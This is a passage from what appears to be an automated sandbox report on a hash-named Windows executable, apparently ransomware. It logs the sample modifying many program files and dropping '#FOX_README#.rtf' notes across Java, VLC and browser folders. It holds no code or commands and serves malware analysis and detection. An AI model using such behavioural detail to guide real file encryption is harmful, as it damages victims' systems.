Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-api-caching.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\modules\httprequests.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\ModuleAutoDeps\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\images\cursors\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-heapdump.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\LICENSE f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\omni.ja f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\meta-index f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jhat.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\MANIFEST.MF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-modules.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-attach_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\eclipse.inf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\fonts\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-swing-outline_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\vlc.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\vlm_export.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\about.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-core-windows.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.security_1.2.0.v20130424-1801.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\artifacts.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-sa.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\et.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-keyring-impl.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\LICENSE f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\toc.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.core.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-io_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\js\ui.js f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.SF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\MANIFEST.MF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\com.oracle.jmc.executable.win32.win32.x86_64_5.5.0 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-jvm.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\currency.data f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rcp.intro_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-core-kit.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\vlm.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerConstraints.exsd f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-charts_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.greychart.ui_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-loaders.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\OutSelect.tiff f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-dialogs.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-core-multiview_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-host-remote.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\epl-v10.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-loaders_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\liveleak.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\default_apps\youtube.crx f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyLocale_ru.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\ECLIPSE_.SF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-spi-quicksearch.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-host-remote.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyLocale_zh_TW.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\jawt.lib f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\crashreporter.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\include\win32\bridge\AccessBridgeCallbacks.h f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\management\management.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\cmm\sRGB.pf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\images\cursors\win32_CopyDrop32x32.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\meta\art\02_frenchtv.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.services.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-favorites_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.sat4j.pb_2.3.5.v201404071733.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-api-caching.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\packager.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\orbd.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.repository.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\status.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\include\win32\bridge\AccessBridgeCalls.h f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\.settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-impl_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\cs.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-explorer.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.theme.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jetty.io_8.1.14.v20131031.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.alert.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice-install.log f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyLocale_pl.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\include\jvmticmlr.h f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.engine.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\management\jmxremote.password.template f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\org-netbeans-core_visualvm.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\jfr.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jmx_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\ext\zipfs.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-explorer_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\html\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\policytool.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\leftnav.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\images\cursors\invalid32x32.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-core-output2.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\org-netbeans-modules-profiler_visualvm.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\Back-48.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-utilities_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\java-rmi.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\fonts\LucidaBrightDemiItalic.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-masterfs_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\images\cursors\win32_LinkNoDrop32x32.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.swt.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\asl-v20.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\security\java.policy f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.p2.ui.overridden_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.filesystem_1.4.100.v20140514-1614.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\zh-CN.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\management-agent.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-charts_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-threaddump.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-print.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\id\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.core.commands.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-coredump.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\javaws.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\pt-PT.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\charsets.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\fonts\LucidaSansRegular.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.http.servlet_1.1.500.v20140318-1755.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\lib\jfluid-server.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program 